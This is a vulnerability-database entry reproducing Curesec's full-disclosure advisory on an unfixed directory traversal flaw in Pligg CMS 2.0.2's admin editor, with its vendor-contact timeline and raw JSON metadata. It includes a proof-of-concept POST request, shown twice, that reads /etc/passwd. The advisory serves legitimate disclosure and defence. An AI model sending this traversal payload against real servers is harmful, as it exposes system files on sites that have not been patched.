Search...

Pligg CMS 2.0.2 - Directory Traversal

2015-10-30T00:00:00

ID EXPLOITPACK:19E0B124681802B05C1F78FEB2C51837
Type exploitpack
Reporter Curesec Research Team
Modified 2015-10-30T00:00:00

Description

Pligg CMS 2.0.2 - Directory Traversal

                                        
                                            Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Pligg CMS 2.0.2
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pligg.com/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

The editor delivered with Pligg CMS is vulnerable to directory traversal, which
gives an attacker that obtained admin credentials the opportunity to view any
file stored on the webserver that the webserver user has access to.

Please note that admin credentials are required.

3. Proof of Concept


POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1

the_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date
09/22/2015 Vendor replied, issue has been send to staff
09/29/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Pligg-CMS-202-Directory-Traversal-81.html

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:43", "references": [], "description": "\nPligg CMS 2.0.2 - Directory Traversal", "edition": 1, "reporter": "Curesec Research Team", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2015-10-30T00:00:00", "title": "Pligg CMS 2.0.2 - Directory Traversal", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:43", "rev": 2}, "score": {"value": 0.3, "vector": "NONE", "modified": "2020-04-01T19:04:43", "rev": 2}, "vulnersScore": 0.3}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2015-10-30T00:00:00", "id": "EXPLOITPACK:19E0B124681802B05C1F78FEB2C51837", "href": "", "viewCount": 0, "sourceData": "Security Advisory - Curesec Research Team\n\n1. Introduction\n\nAffected Product: Pligg CMS 2.0.2\nFixed in: not fixed\nFixed Version Link: n/a\nVendor Website: http://pligg.com/\nVulnerability Type: Directory Traversal\nRemote Exploitable: Yes\nReported to vendor: 09/01/2015\nDisclosed to public: 10/07/2015\nRelease mode: Full Disclosure\nCVE: n/a\nCredits Tim Coen of Curesec GmbH\n\n2. Vulnerability Description\n\nThe editor delivered with Pligg CMS is vulnerable to directory traversal, which\ngives an attacker that obtained admin credentials the opportunity to view any\nfile stored on the webserver that the webserver user has access to.\n\nPlease note that admin credentials are required.\n\n3. Proof of Concept\n\n\nPOST /pligg-cms-master/admin/admin_editor.php HTTP/1.1\n\nthe_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open\n\n4. Solution\n\nThis issue was not fixed by the vendor.\n\n5. Report Timeline\n\n09/01/2015 Informed Vendor about Issue (no reply)\n09/22/2015 Reminded Vendor of disclosure date\n09/22/2015 Vendor replied, issue has been send to staff\n09/29/2015 Reminded Vendor of disclosure date (no reply)\n10/07/2015 Disclosed to public\n\n\nBlog Reference:\nhttp://blog.curesec.com/article/blog/Pligg-CMS-202-Directory-Traversal-81.html", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": []}